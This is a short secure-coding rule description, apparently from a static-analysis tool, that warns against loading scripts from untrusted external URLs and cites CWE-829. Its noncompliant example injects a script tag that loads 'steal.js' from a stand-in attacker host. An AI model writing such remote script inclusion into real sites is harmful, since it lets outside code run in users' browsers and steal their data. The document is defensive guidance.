Including content in your site from an untrusted source can expose your users to attackers and even compromise your own site. For that reason, this rule raises an issue for each non-relative URL.

## Noncompliant Code Example

    function include(url) {
      var s = document.createElement("script");
      s.setAttribute("type", "text/javascript");
      s.setAttribute("src", url);
      document.body.appendChild(s);
    }
    include("http://hackers.com/steal.js")  // Noncompliant

## See

- MITRE, CWE-829 - Inclusion of Functionality from Untrusted Control Sphere
- SANS Top 25 - Risky Resource Management